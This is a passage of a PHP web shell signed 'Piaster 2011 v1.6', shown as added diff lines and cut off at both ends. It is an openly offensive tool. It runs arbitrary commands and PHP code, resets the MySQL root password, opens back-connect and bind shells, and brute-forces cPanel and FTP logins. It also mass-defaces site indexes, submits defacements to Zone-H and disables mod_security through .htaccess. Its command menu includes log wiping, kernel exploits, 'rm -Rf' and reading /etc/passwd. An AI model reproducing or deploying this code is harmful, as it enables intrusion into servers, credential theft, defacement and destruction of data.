Htaccess Created!";}}break; +case('cpp'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,"AddType application/x-httpd-php4 .php");if(@fclose($hd)){echo "[+] Htaccess Created!";}}break; +case('cpe'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,"<FileMatch '^.*\.$ctc>\r\nSetHandler application/x-httpd-php\r\n</FilesMatch>");if(@fclose($hd)){echo "[+] Htaccess Created!";}}break; +case('cre'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,"Options ExecCGI\r\nAddType application/x-httpd-cgi .$ctc\r\nAddHandler cgi-script .".$ctc);if(fclose($hd)){echo "[+] Htaccess Created!";}}break; +case('fis'):{$hd = @fopen(".htaccess","w+");@fwrite($hd,"<IfModule mode_security.c>\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n</IfModule>");if(fclose($hd)){echo "[+] Htaccess Created!";}}break; +case('cpi'):{$hd = @fopen("php.ini","w+");@fwrite($hd,$clc);if(@fclose($hd)){echo "[+] PHP.ini Created!";}}break;} + +echo "</textarea>";unset($dhtc);}break; +case(isset($_REQUEST['zhsd'])): {rs('cmds','141','18',$st='readonly'); +if(!curc())die("Curl Not Avilable on this Server Can.t complete opration!");else{ +$hnam = htmlspecialchars($_POST['hname']); +$htype = htmlspecialchars($_POST['htype']); +$hwhy = htmlspecialchars($_POST['hwhy']); +$hsts = htmlspecialchars($_POST['sts']); +$hdo= explode("\n", $hsts); +foreach ($hdo as $uu){$sitss = trim($uu); +echo zhsr($hnam,$htype,$hwhy,$sitss);} +}echo "</textarea>";unset($zhsd);}break; + +case (isset($_REQUEST["ext_si"])) : { + rs('cmds','141','22',$st='readonly'); + extr_si(); + echo "</textarea>"; echo "<br><br><a href=\"".$php."\">Home</a>|&nbsp;|<a href=\"javascript: history.go(-1)\">Back</a><br>";ft();exit();}break; + +case (isset($_REQUEST['urlup'])): +{rs('cmds','141','22',$st='readonly'); +$url = htmlspecialchars($_POST['urlf']); +$file = htmlspecialchars($_POST['localf']); +$pathf = htmlspecialchars($_POST['pathf']); +if(fetchFilef($url,$pathf,$file)) {echo "[+]Uploaded file saved as ". path.'/'.$file;}else +{echo "[+] Check the directory permissions for (must be 777)!\nor \nCheck URL!";} +echo "</textarea>";unset($urlup);}break; + +case(isset($_REQUEST['crypfl'])||isset($_REQUEST['crypo'])): +{rs('ccrt' ,'141','22',$st=''); +if(isset($_REQUEST['crypo'])) +$file=@fopen($_FILES['userfile']['tmp_name'],"r") or die ("[-]Error reading file!"); +$meth=$_POST['crypt'];if ($meth=="1") {echo stripcslashes(md5(@fread($file,100000)));} elseif ($meth=="2") {echo stripcslashes(crypt(@fread($file,100000)));} +elseif ($meth=="3") {echo stripcslashes(sha1(@fread($file,100000)));} +elseif ($meth=="4") {echo stripcslashes(crc32(@fread($file,100000)));} +elseif ($meth=="5") {echo stripcslashes(urlencode(@fread($file,100000)));} +elseif ($meth=="6") {echo stripcslashes(urldecode(@fread($file,100000)));} +elseif ($meth=="7") {echo stripcslashes(@base64_encode(@fread($file,100000)));} +elseif ($meth=="8") {echo stripcslashes(@base64_decode(@fread($file,100000)));} +echo "</textarea><div align=left>";echo '<br><form enctype="multipart/form-data" method="post"><b>File:<br><input name="userfile" type="file"><br><br><input type="submit" value="Crypt" name="crypo"><br><br><hr><input type=radio name=crypt value=1>md5();<br><hr><input type=radio name=crypt value=2>crypt();<br><hr><input type=radio name=crypt value=3>sha1();<br><hr><input type=radio name=crypt value=4>crc32();<br><hr><input type=radio name=crypt value=5>urlencode();<br><hr><input type=radio name=crypt value=6>urldecode();<br><hr><input type=radio name=crypt value=7>base64_encode();<br><hr><input type=radio name=crypt value=8>base64_decode();<br>';echo "<hr><div align =\"center\"><br><br><a href=\"javascript: history.go(-1)\">Back</a>";echo "<p align=\"center\"><a href=\"".$php."\">Home</a><br></p>"; +exit; +}break; + +case(oP == '8'):{ indexc();exit();}break; +case(oPp == '1'):{ vbsql();exit();}break; +case(oPp == '2'):{ backc();}break; +case(oPp == '4' || $_REQUEST['piasS']):{ + + +if($win) { + define('STDIN',@fopen("php://stdin","r")); + $input = trim(@fgets(STDIN,256)); + $input = ereg_replace('\"', "\\\"", $input); + $input = ereg_replace('\'', "\'", $input); + + echo "| |<a href=\"".$php."\">Home</a></p>"; + if(wdll_chf()) wdll_cmdf("net stop mysql"); + if(wdll_chf()) wdll_cmdf('start /b C:\AppServ\MySQL\bin\mysqld-nt.exe --skip-grant-tables --user=root'); + if(wdll_chf()) wdll_cmdf("C:\AppServ\MySQL\bin\mysql -e \"update mysql.user set PASSWORD=PASSWORD('piaster') where user = 'root';\""); + if(wdll_chf()) {wdll_cmdf("C:\AppServ\MySQL\bin\mysqladmin -u root shutdown"); + echo '<br> Please wait ................................... Goodluck ...Win phpMyAdmin Hacked :: <br>USER: root & PASSWORD: piaster<br><br><br><p align="center"><a href="javascript: history.go(-1)">Back</a>';}else echo " I think function disable or Path: 'C:\AppServ\MySQL ' not found on this server edit Path..Bug only in AppServ about www.appservnetwork.com"; + sleep(3); + if(wdll_chf()) wdll_cmdf("net start mysql");} + +if(!$win) { + echo '<form action="#" method="post">'; + inp('input','20','dbu',$_REQUEST['dbu'],$ti='user',$pr=''); + inp('input','20','dbp',$_REQUEST['dbp'],$ti='password',$pr=''); + inp('input','20','dbh',$_REQUEST['dbh'],$ti='host',$pr=''); + sub('piasS','GO',$pr=''); + echo '</form>'; + + +if(isset($_REQUEST['piasS'])){ + +$dbu = $_REQUEST['dbu']; +$dbp = $_REQUEST['dbp']; +$dbh = $_REQUEST['dbh']? $_REQUEST['dbh'] : 'localhost'; + +$conn = @mysql_connect($dbh, $dbu, $dbp); +$select = @mysql_select_db('mysql', $conn); +if (!$select) { +echo @mysql_error();} + +$t1 = "UPDATE mysql.user set PASSWORD=PASSWORD('piaster') where user = 'root';"; +$go1 = @mysql_query( $t1 , $conn); + +if($go1){echo '<center><br>Goodluck ... Lunix phpMyAdmin Hacked :: Now Wait Until Mysql Restart and Come back with USER: root & PASSWORD: piaster<br><br><br><p align="center"><a href="javascript: history.go(-1)">Back</a></p></center>'; +echo "| |<a href=\"".$php."\">Home</a>";} +}}exit();}break; + +case(isset($_REQUEST['vbsq'])):{ vb_opt();exit();}break; + +case(oP == 6):{ +//echo "<hr color= #993333>"; +rs('cmds','120','20',$st='readonly'); +if(wdll_chf()){ if(!$win){echo wdll_cmdf('ls -la');}else echo wdll_cmdf('dir');}else +{$dih = @opendir(path) or die("<br><b>Permision denied! Unable to open dir $path"); +wdll_updir($dih, path);} +echo "</textarea>"; }break; +default:{echo "<font color = orange> +Hello <br> +I hope you will find useful tool to perform your job properly<br> +Also heal myself if your use of it in harm to people <br> +Always remember<br> +Easy Come Easy Go.<br> +Piaster 2011 v1.6<br> +";}//--------------------------------- +} +echo " <table>"; + +if($_REQUEST['wbp']){bbc($_REQUEST['wbcp']);} +if($_REQUEST['lbg']){bbc($_REQUEST['lbcp']);} +if($_REQUEST['bpg'] ){bbc($_REQUEST['bcpo'],$_REQUEST['bcip']);} + +echo "<br>" ;sl(); + +echo "<br><br>"; + +echo "<table><tr><td>"; +//echo "<hr color= #993333>"; +cm_ge(); echo "</td><td>"; +//echo "<hr color= #993333>"; +cm_gee();echo "</td></tr></table>";echo "<hr color= #993333>"; +if (oP == '13' || !empty($_POST['evac'])) {echo eva();} +else db_lg() ;echo "<br>";urlp();echo "<hr color = #993333><br>"; movdr(); +echo "<hr color = #993333></div>"; +echo "</table>"; +function mailr_s(){ +echo "<form name=\"savf\" action=\"".$php."\"method=\"post\">"; +inp('text','30','mnam',$_REQUEST['mnam'],'Your name: ',''); +inp('text','30','mmail',$_REQUEST['mmail'],'Your e-mail: ',''); +inp('text','30','mito',$_REQUEST['mito'],'To: ',''); +inp('text','30','msubj',$_REQUEST['msubj'],'Subject: ','<br>'); +are('mmsg',$_REQUEST['mmsg'],'80','8',$st ='',$pr ='<br><br><br><br>'); +sub('mSendm','Send');} +function sear(){ +echo "<br><br><table bgcolor=black border = 1><tr><td><form action=\"".$php."\"method=\"post\">"; +echo 'Path<br>'; +inp('text','63','serdir',path,'','<br>'); +echo '<br>'; +echo 'Search DIR<br>'; +inp('text','32','sedir','include','','<br>'); +inp('radio','10','sea','cedr','Directory only','<br>'); +echo '<br><div align = left>'; +echo '<br>Key word'; +are('searcc','','60','5',$pr ='<br>',$id=''); +echo '<br>'; +inp('radio','10','sea','cepr','Preg_Match &nbsp; (Regular expressions)(into file)','<br>'); +inp('radio','10','sea','cewo','words only &nbsp; (into file)','<br>'); +inp('radio','10','sea','cefn','File Name &nbsp; (same key word ex: config.php)','<br>'); +inp('radio','10','sea','cefi','File Name &nbsp; (include yo key word)(min char = 3)','<br>');// +inp('radio','10','sea','cefm','File Mode &nbsp; (like 666 ,777 ...etc)','<br>'); +inp('radio','10','sea','ceft','File Type &nbsp; (like php,txt ...etc)','<br><br>'); +echo '<div align = center>'; +sub('search','Search'); +echo '</form></div></ts></tr></table>'; +echo "<br><a href=\"".$php."\">Home</a><p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die;} + +function hashw() +{ $crtf = $_POST['crrt'];echo "<form action=\"".$php."\"method=\"post\">"; +are('crrt',stripcslashes($crtf),'80','8','<br>',$id='');echo "<br><br><br><table width = \"100\" border=1 bgcolor =\"000000\" ><tr>";echo '<td>md5:</td><td>'; +inp('text','80','cc',stripcslashes(@md5($crtf)),'','<br>');echo "</td></tr>";echo '<td>crypt:</td><td>'; +inp('text','80','cc',stripcslashes(@crypt($crtf)),'','<br>');echo "</td></tr>";echo '<td>sha1:</td><td>'; +inp('text','80','cc',stripcslashes(@sha1($crtf)),'','<br>'); echo "</td></tr>";echo '<td>crc32:</td><td>'; +inp('text','80','cc',stripcslashes(@crc32($crtf)),'','<br>'); echo "</td></tr>";echo '<td>urlencode:</td><td>'; +inp('text','80','cc',stripcslashes(@urlencode($crtf)),'','<br>'); echo "</td></tr>";echo '<td>urldecode:</td><td>'; +inp('text','80','cc',stripcslashes(@urldecode($crtf)),'','<br>');echo "</td></tr>";echo '<td>base64_encode:</td><td>'; +inp('text','80','cc',stripcslashes(@base64_encode($crtf)),'','<br>'); echo '</td>';echo "</td></tr>";echo '<td>base64_decode:</td><td>'; +inp('text','80','cc',stripcslashes(@base64_decode($_POST['crrt'])),'','<br>'); echo "</td></tr>";echo '</tr>';echo '<br><br>'; +echo '</td>';echo "</td></tr>";echo '<td>dec2hex:</td><td>'; +$c = strlen($crtf); for($i=0;$i<$c;$i++) { $hex = dechex(ord($crtf[$i])); if ($crtf[$i] == "&") +{echo $crtf[$i];} elseif ($crtf[$i] != "\\") {echo "%".$hex;}} +echo '</table>'; +sub('crtty','Crypt','');echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';sub('crypfl','Crypt File');echo '<br><br>'; +echo "<a href=\"javascript: history.go(-1)\">Back</a></div><hr>";echo "<p align=\"center\"><a href=\"".$php."\">Home</a><br></p>";} + +function extr_i(){ +echo "<form action=\"".$php."\"method=\"post\">"; +inp('text','50','sqtid','','IP/HOST:'); +sub('ext_si','Extract!','<br>'); +echo "</form>"; +} +function indexc() +{$xq = 'UPDATE "dbname".template name SET template name = "index code" WHERE title = "field title"'; +echo "<form action=\"".$php."\" method=\"post\"> +<div align =\"center\"><b>Index Code</b>"; +are('coded','Post your code here','50','20','<br>'); +echo '<div align=left>'; +echo "<b>File Options</b><br><hr color=black>"; +inp('text','40','masdr',path,'Path');echo '&nbsp;&nbsp;';inp('text','20','skid','Dir name','Skip Dir');echo "<br>"; +inp('radio','10','msi','msfi','Just indexes','<br>'); +inp('radio','10','msi','msfa','all files','<br>'); +inp('radio','10','msi','msfr','Remove all without indexes'); +echo "<hr color=black><b>DataBase options</b><br>"; + +echo "<br>"; +inp('radio','10','msi','msvb','VB','<br>'); +inp('radio','10','msi','msbb','MyBB','<br>'); +inp('radio','10','msi','msin','Infinty','<br>'); +inp('radio','10','msi','mswp','WordPress','<br>'); +inp('radio','10','msi','msjo','Jomla','<br>'); +inp('radio','10','msi','msrd','Remove DB!','<br>'); +inp('radio','10','msi','msot','Other | index code = $coded','<br>'); +inp('text','100','msqur',$xq,'Query:');echo "<br><br>"; +inp('text','15','sqdbn',$n,'DBname:'); +inp('text','15','sqlog',$u,'DBuser:'); +inp('text','15','sqpwd',$p,'DB_PWD:'); +inp('text','13','sqsrv','localhost','HOST:'); +inp('text','13','sqprt','3306','PORT:'); + +echo "<hr color=black><br><br><div align =\"center\">"; +sub('massa','Mass Index!','<br>'); +echo "</form>"; +echo "<a href=\"".$php."\">Home</a><br><br>";exit;} + +function sqlinj(){ +echo "<center>FIND SQL INJECTION ON OTHER REMOTE SERVER <BR>"; +echo "<form name=\"site\" action=\"".$php."\"method=\"post\">"; +inp('text','20','ipp','',' IP ','<br><br>'); +sub('gip','&nbsp;Find SQL Inj','<br>'); +echo "</form>"; +} +function ccf(){ +$wrdlist= "1234556 \n987654321\n963852741\n321654\n987654321\n963741\n951753\n852654\n987321\n321987951753"; +if(wdll_chf()){$userlist = wdll_cmdf('ls /var/mail');}else $userlist ="users"; +echo "<form action=\"".$php."\"method=\"post\"><br><br>"; +$loca = $_SERVER['SERVER_NAME']; +inp('text','30','site',$loca,'HOST/IP'); +inp('text','5','port','2082','Port','<br>'); + +if(!empty($_REQUEST['uses'])){ $userlist = $_REQUEST['uses'];} +echo "<table><tr><td>"; +are('uses',$userlist,'10','20',$pr ='');echo "</td><td>"; +if(!empty($_REQUEST['pass'])){$wrdlist = $_REQUEST['pass'];}echo "</td><td>"; +echo "<textarea id='passw' name='pass' cols='10'rows='20' onselect='cp()' onchange='cp()' onkeydown='cp()' onkeyup='cp()' onchange='cp()'>".$wrdlist."</textarea>"; +echo "</td></tr></table>"; +echo "<br> +<b>Password Number : <span id='pn'>0<br></span> +<span><font color=orange><b>Split The Password List By:</font></span><br> +<input name='textml' id='spl' type='text' value=',' size='5'/> +<input type='button' onclick='psplit()' value='Split'>"; +echo "<br><br>"; +inp('radio','10','crt','cp','Cpanel [2082]'); +inp('radio','10','crt','FTP','FTP [21]','<br>'); +echo "<br>"; +sub('crcf','Crack'); +echo "</form>"; +echo "<br><a href=\"".$php."\">Home</a><br><br>"; +?> +<body onload="cp"> +<script type="text/javascript"> + + window.onload = pchange; + var xy = false; + function psplit(){ + var yx = document.getElementById("passw").value; + var yz = document.getElementById("spl").value; + var nora=new Array(); + nora = yx.split(yz); + document.getElementById("passw").value=""; + var i; + for(i=0;i<nora.length;i++){ + document.getElementById("passw").value += nora[i]+"\n";} + cp();} + function cp(){ + var etext = document.getElementById("passw").value; + var nora=new Array(); + nora = etext.split("\n"); + document.getElementById("pn").innerHTML=nora.length+"<br />"; + if(!xy && nora.length > 50000){ + alert('If passwords list More Than 50000 passwords This May Hang The Server'); + xy = true;}}</script> +<?php +exit();} + +function backc(){ +echo "<form action=\"".$php."\"method=\"post\">"; +inp('text','20','bcip',$_SERVER['REMOTE_ADDR'],'IP:'); +inp('text','10','bcpo','1985','Port'); +sub('bpg','Connect!','<br><br>'); +echo 'Lunix Bind Port <br>'; +inp('text','10','lbcp','1985','Port'); +sub('lbg','Connect!','<br><br>'); +echo 'Win Bind Port<br>'; +inp('text','10','wbcp','1985','Port'); +sub('wbp','Connect!'); +echo "</form>"; + +echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a><center><br></p>";} +function urlp(){ +echo "<form action=\"".$php."\"method=\"post\">"; +inp('text','50','urlf','http://www.','URL:'); +inp('text','50','pathf',path,'Path'); +inp('text','10','localf','wdll.zip','Save as'); +sub('urlup','Upload!'); +echo "</form>";} + +function ps5s(){ +echo "<form action=\"".$php."\"method=\"post\">"; +inp('text','30','hot','IP/Domain'); +inp('text','8','spot','1','FROM'); +inp('text','8','epot','100','TO'); +sub('spots','Scan'); +echo "</form>"; +} +function ch() +{ +echo "<select name=ch> +<option value=cm>CHMOD</option> +<option value=co>CHOWN</option> +<option value=cg>CHGRP</option> +<option value=cu>Unlink</option> +</select>";inp('text','44','cfx',path);inp('text','8','cfy','0666');sub('chfl','Ok');} + +function movdr(){ +echo "<form action=\"".$php."\"method=\"post\">"; +inp('checkbox','','rvm','remov','Remove dir after copy'); +inp('text','50','movd',path,'FROM');inp('text','47','destd',path,'TO'); +sub('mvdi','Move');echo "</div>"; +echo "</form>";} + +function eva() +{echo "<form action=\"".$php."\"method=\"post\">"; +$valo = '//unlink G5.php'; +are('evac',$valo,'125','5',$st ='',$pr ='<br><br><br><br>'); +sub('evap','Run PHP Code',$pr='<br>');echo "</form>";} + +function sk_ju() +{inp('checkbox','50','Ski','Ski','Skip'); +inp('checkbox','50','Jum','Jum','Jump'); +inp('text','20','askid','uploads','DIR');} + +function cm_ge() +{$aliss = ''; +$aliss = dir; +echo "<form method=\"POST\" action=\"".$php."\" enctype=\"multipart/form-data\">"; +echo "<table dir =left border=1 bgcolor =\"000000\" ><tr><td>Execute</td><td>"; +inp('text','55','cmde',$aliss,'');sub('cmdr','CMD',$pr='<br>');echo "</td></tr>"; +echo "<tr><td> Get File</td><td>"; +echo"<select size=\"1\" name=\"getm\" title=\"FileS Action\" > + +<option value=\"2\">Mode [0]</option> +<option value=\"1\">Mode [1]</option> +<option value=\"3\">Mode [2]</option> + +</select>"; +if(isset($HTTP_POST_VARS['cfil']))$oop = $_POST['cfil'];else $oop = path; +inp('text','42','cfil',$oop,'');sub('gfil','&nbsp;Get ','<br>');echo "</td></tr>"; + +echo "<tr><td>Go Dir</td><td>"; +inp('text','55','goto',path,'');sub('gotod',' Go &nbsp;','<br>');echo "</td></tr>"; +echo "<tr><td>Locate</td><td>"; +inp('text','55','fin','config.php','');sub('find','Find');echo "</td></tr>"; + +echo "<tr><td>Upload</td><td>"; +inp('hidden','55','MAX_FILE_SIZE',$umf,''); +echo "<input type=\"file\" name=\"dfill\" accept=\"*/*\" size=\"36\">"; +sub('upcom','&nbsp;&nbsp;Up&nbsp;','<br>');echo "</td></tr></table>";} + +function cm_gee() +{echo "<form method=\"POST\" action=\"".$php."\" >"; +echo "<table dir =right border=1 bgcolor =\"000000\" ><tr><td>MK Dir</td><td>"; +inp('text','55','mKd',path,'');sub('mkD','&nbsp;MKD ',$pr='<br>');echo "</td></tr>"; +echo "<tr><td>MK File</td><td>"; +inp('text','55','mKf',path,'');sub('mkF','&nbsp;MKF ','<br>');echo "</td></tr>"; + +echo "<tr><td>Download</td><td>"; +inp('text','55','dWn',path,'');sub('dWNf','down','<br>');echo "</td></tr>"; +echo "<tr><td>File options</td><td>"; +ch();echo "</td></tr>"; + +echo "<tr><td>Execute</td><td>"; +alias(); +echo "</td></tr> + +</table>";} + +function zh() +{echo "<br><br><form action=\"".$php."\"method=\"post\">"; +echo "Defacer?<br>"; +inp('text','30','hname','w.dll','','<br>'); +echo "Hacking Mode?<br><select name='htype'><option >--------SELECT--------</option><option value='1'>known vulnerability (i.e. unpatched system)</option><option value='2' >undisclosed (new) vulnerability</option><option value='3' >configuration / admin. mistake</option><option value='4' >brute force attack</option><option value='5' >social engineering</option><option value='6' >Web Server intrusion</option><option value='7' >Web Server external module intrusion</option><option value='8' >Mail Server intrusion</option><option value='9' >FTP Server intrusion</option><option value='10' >SSH Server intrusion</option><option value='11' >Telnet Server intrusion</option><option value='12' >RPC Server intrusion</option><option value='13' >Shares misconfiguration</option><option value='14' >Other Server intrusion</option><option value='15' >SQL Injection</option><option value='16' >URL Poisoning</option><option value='17' >File Inclusion</option><option value='18' >Other Web Application bug</option><option value='19' >Remote administrative panel access through bruteforcing</option><option value='20' >Remote administrative panel access through password guessing</option><option value='21' >Remote administrative panel access through social engineering</option><option value='22' >Attack against the administrator/user (password stealing/sniffing)</option><option value='23' >Access credentials through Man In the Middle attack</option><option value='24' >Remote service password guessing</option><option value='25' >Remote service password bruteforce</option><option value='26' >Rerouting after attacking the Firewall</option><option value='27' >Rerouting after attacking the Router</option><option value='28' >DNS attack through social engineering</option><option value='29' >DNS attack through cache poisoning</option><option value='30' >Not available</option></select></p>"; +echo "Hacking Reason?<br><select name='hwhy'><option >--------SELECT--------</option><option value='1' >Heh...just for fun!</option><option value='2' >Revenge against that website</option><option value='3' >Political reasons</option><option value='4' >As a challenge</option><option value='5' >I just want to be the best defacer</option><option value='6' >Patriotism</option><option value='7' >Not available</option></select>"; +echo "<br>"; +are('sts',@getenv("SERVER_NAME"),'30','10',$pr =''); +echo '<br>'; +sub('zhsd','Zone-H!');echo "</form>"; +echo "<br><br><a href=\"".$php."\">Home</a><br><br>";exit;} + +function htc(){ +echo"<br><br><br> +<form name=\"site\" action=\"".$php."\"method=\"post\"><select size=\"1\" name=\"htcc\" title=\"FileS Action\" ><option>Select</option><option value=\"ch\">Create htaccess</option><option value=\"cpi\">Create php.ini</option><option value=\"cpe\">Change PHP Extension </option><option value=\"cre\">Change Perl Extension</option><option value=\"cpp\">Change PHP5 to PHP4</option><option value=\"fis\">Kill(Forrbidden + Error 500)</option></select>"; +inp('text','5','htc','wdll','TO'); +echo '<br>'; +are('mhtc','Code here','40','5',$pr =''); +sub('dhtc','Make!'); +echo "</form><br>"; +echo "<a href=\"javascript: history.go(-1)\">Back</a><br><br>";exit;} + +function alias() +{echo "<form name=\"site\" action=\"".$php."\"method=\"post\"><select size=\"1\" name=\"alI\" title=\"Find\"><option >Select</option><option >________current dir________________________</option><option value='find . -type f -perm -04000 -ls'>suid files <=</option><option value='find . -type f -perm -02000 -ls'>sgid files <=</option><option value='find . -type f -name config.php'>config.php files <=</option><option value='find . -type f -name 'config*''>config* files <=</option><option value='find . -type f -perm -2 -ls'>find all writable files <= </option><option value='find . -type d -perm -2 -ls'>find all writable directories <=</option><option value='find . -perm -2 -ls'>find all writable directories and files <=</option><option value='find . -type f -name service.pwd'>find service.pwd files <=</option><option value='find . -type f -name .htpasswd'>find .htpasswd files <=</option><option value='find . -type f -name .bash_history'>find .bash_history files <=</option><option value='find . -type f -name .mysql_history'>find .mysql_history files <=</option><option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files <=</option><option >________Out dir____________________________</option><option value='find / -type f -perm -04000 -ls'>suid files =></option><option value='find / -type f -perm -02000 -ls'>sgid files =></option><option value='find / -type f -name config.php'>config.php files =></option><option value='find / -type f -name 'config*''> config* files =></option><option value='find / -type f -perm -2 -ls'>find all writable files => </option><option value='find / -type d -perm -2 -ls'>find all writable directories =></option><option value='find / -perm -2 -ls'>find all writable directories and files => </option><option value='find / -type f -name service.pwd'>find all service.pwd files =></option><option value='find / -type f -name .htpasswd'>find all .htpasswd files =></option><option value='find / -type f -name .bash_history'>find all .bash_history files =></option><option value='find / -type f -name .mysql_history'>find all .mysql_history files =></option><option value='find / -type f -name .fetchmailrc'>'find all .fetchmailrc files =></option><option >___________________ _______________________</option><option value='lsattr -va'>list file attributes on a Linux second extended file Sys</option><option value='netstat -an '>show opened ports</option><option value='ls -la'>Show files </option><option value='dir'>Show files Win</option><option >__________Useful Commands _________________</option><OPTION VALUE='uname -a'>Kernel version<OPTION VALUE='w'>Logged in users<OPTION VALUE='lastlog'>Last to connect<OPTION VALUE='find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null'>Suid bins<option VALUE='cut -d: -f1,2,3 /etc/passwd | grep ::'>Users<option VALUE='find /etc/ -type f -perm -o+w 2> /dev/null'>Write in /etc/?<option VALUE='which wget curl w3m lynx'>Downloaders?<option VALUE='cat /proc/version /proc/cpuinfo'>CPUINFO<option VALUE='netstat -atup | grep IST'>Open ports<option VALUE='locate gcc'>gcc installed?<option VALUE='rm -Rf'>Format box (DANGEROUS)<option VALUE='gcc zap2.c -o zap2'>WIPELOGS PT2<option VALUE='./zap2'>WIPELOGS PT3<option VALUE='./k3 1'>Kernel attack (Krad.c) PT2 (L1)<option VALUE='./k3 2'>Kernel attack (Krad.c) PT2 (L2)<option VALUE='./k3 3'>Kernel attack (Krad.c) PT2 (L3)<option VALUE='./k3 4'>Kernel attack (Krad.c) PT2 (L4)<option VALUE='./k3 5'>Kernel attack (Krad.c) PT2 (L5)<option value='cat /etc/passwd'>/etc/passwd</option><option value='cat /var/cpanel/accounting.log'>/var/cpanel/accounting.log</option><option value='cat /etc/syslog.conf'>/etc/syslog.conf</option><option value='cat /etc/hosts'>/etc/hosts</option><option value='cat /etc/named.conf'>/etc/named.conf</option><option value='cat /etc/httpd/conf/httpd.conf'>/etc/httpd/conf/httpd.conf</option></select>"; +sub('aliA','Run '); +echo "</form>"; +} + +function db_lg() +{ +echo $query=$_REQUEST['sqquery']; +echo "<form action=\"".$php."\" method=\"post\">"; +echo "<br><div align=center>"; +$n = 'mysql'; +$u = 'User Name'; +$p = 'Password'; +if(!empty($_POST['sqdbn'])){$n = $db;} +if(!empty($_POST['sqlog'])){$u = $user;} +if(!empty($_POST['sqpwd'])){$p = $pass;} + +echo "<select name=sqlty> + +<option valut=MySQL onClick='document.client.sqlserv.disabled = false;' "; +if ($_REQUEST['sqlty']=='MySQL')echo 'selected';echo ">MySQL</option> + +<option valut=MSSQL onClick='document.client.sqlserv.disabled = false;' "; +if ($_REQUEST['sqlty']=='MSSQL')echo 'selected'; +echo ">MSSQL</option> +<option valut=Oracle onClick='document.client.sqlserv.disabled = true;' "; +if ($_REQUEST['sqlty']=='Oracle')echo 'selected'; +echo ">Oracle</option> +<option valut=PostgreSQL onClick='document.client.sqlserv.disabled = false;' "; +if ($_REQUEST['sqlty']=='PostgreSQL')echo 'selected'; +echo ">PostgreSQL</option> +<option valut=DB2 onClick='document.client.sqlserv.disabled = false;' "; +if ($_REQUEST['sqlty']=='DB2')echo 'selected'; +echo ">IBM DB2</option></select>"; + +inp('text','19','sqdbn',$n); +inp('text','19','sqlog',$u); +inp('text','18','sqpwd',$p); +inp('text','15','sqsrv','localhost'); +inp('text','15','sqprt','3306'); +sub('sqlwxp','SQL Explorer'); + +are('sqquery',("SHOW DATABASES"),'100','5','<br>'); +sub('sqconf','Run SQL Query'); +echo "<select name=sqldp> +<option value=SQL>SQL</option> +<option value=GZIP>GZIP</option>"; +sub('dumd','&nbsp;Dump','<br>'); +echo "&nbsp;&nbsp;"; +inp('text','75','cfils',path,'');sub('gfils','&nbsp;Get file','<br>'); +echo "</div>";} + +function vbsql() +{ +echo "<form action=\"".$php."\" method=\"post\"> +<div align =\"center\"><b>VB Opreators (VB Only)</b>"; +echo '<div align=left>'; + +echo "<b>DataBase options</b><br>"; +$n = 'mysql'; +$u = 'User Name'; +$p = 'Password'; +if(!empty($_POST['tab1'])){$t = $tb;} +if(!empty($_POST['sqdbn'])){$n = $db;} +if(!empty($_POST['sqlog'])){$u = $user;} +if(!empty($_POST['sqpwd'])){$p = $pass;} + + +echo "<br>"; +inp('radio','10','vbss','vbca','Change Admin','<br>'); +inp('radio','10','vbss','vbgm','GET maillist','<br>'); +inp('radio','10','vbss','vbrb','Remove Courent DB'); +inp('radio','10','vbss','vbro','Remove Other DB'); inp('text','15','odb',$n,'','<br>'); +inp('radio','10','vbss','vbrt','Remove Table',':::::-------:::::');inp('text','15','tab1',$t,'TABLE Name:'); +echo "<br>";echo "<br>"; +inp('text','19','sqdbn',$n); +inp('text','19','sqlog',$u); +inp('text','18','sqpwd',$p); + +inp('text','15','sqsrv','localhost'); +inp('text','15','sqprt','3306'); +echo "<br><br><div align =\"center\">"; +sub('vbsq','DO IT!','<br>'); +echo "</form><br><br>"; +echo "<a href=\"".$php."\">Home</a>"; + echo "<p align=\"center\"><a href=\"javascript: history.go(-1)\">Back</a></p>"; ft(); die;} + +function rs($anm ,$col,$row,$st='') +{if(isset($_REQUEST["gfil"]) || isset($_REQUEST['gfils'])|| isset($_REQUEST['show'])){$rdo = '';}else $rdo = 'readonly'; + + $rs = "<textarea name=\"".$anm."\" cols=\"".$col."\" rows=\"".$row."\" $rdo>"; +echo $rs;} +function inp($ty,$sz,$nm,$vu,$ti='',$pr='') +{if($ty == 'radio' || $ty == 'checkbox'){$tit = $ti; + $tt = '&nbsp;'.$tit.'&nbsp;';unset($ti);} +$inp = "$ti<input type=".$ty." name=".$nm." ";if($sz != 0) { $inp .= "size=".$sz." "; }$inp .= "value=\"".$vu."\">$tt".$pr."";echo $inp;} +function sub($cnm,$cvu,$pr='') +{$sub = "<input type=\"submit\" value=\"".$cvu."\" name=\"".$cnm."\" />$pr";echo $sub;} +function are($anm,$avu,$col,$row,$pr ='') +{$are = "<br><textarea name=\"".$anm."\" cols=\"".$col."\" rows=\"".$row."\" $sr>".$avu."</textarea><br>";echo $are;} + +function sl() +{$selhk = " +<form name=\"site\" action=\"".$php."\"method=\"post\"><select size=\"1\" name=\"fsOP\" title=\"FileS Action\" > +<option>Select</option> +<option value=\"cmdr\">Commander</option> +<option value=\"frc\">File Explorer</option> +<option value=\"seaa\">Search</option><option value=\"ftm\">Cpanel + FTP Cracker</option><option value=\"fts\">Mass Index</option><option value=\"cry\">Crypt</option><option value=\"fbk\">Eval PHP</option><option value=\"fcf\">Htaccess Option</option><option value=\"mil\">Mailer</option><option value=\"fsf\">Zone-H</option></select><input type=\"submit\" name=\"allss\" value=\"GO\" /><select size=\"1\" name=\"dbOP\" title=\"DBaseS Action\" ><option>Select</option><option value=\"dau\">phpMyAdmin</option><option value=\"dmi\">vBulletin�</option><option value=\"ddu\">Back Connect</option><option value=\"ddr\">Users</option><option value=\"dml\">SQL Injction</option><option value=\"dqu\">Port Scan</option> +<option value=\"etr\">Extract Remote Site</option></select> + +<input type=\"submit\" name=\"allqw\" value=\"GO\" /></form>"; +echo $selhk; } + +function icod() +{echo "<form action=\"".$php."\" method=\"post\"> +<div align =\"center\"><b>Upload File"; +are('code','Post your code 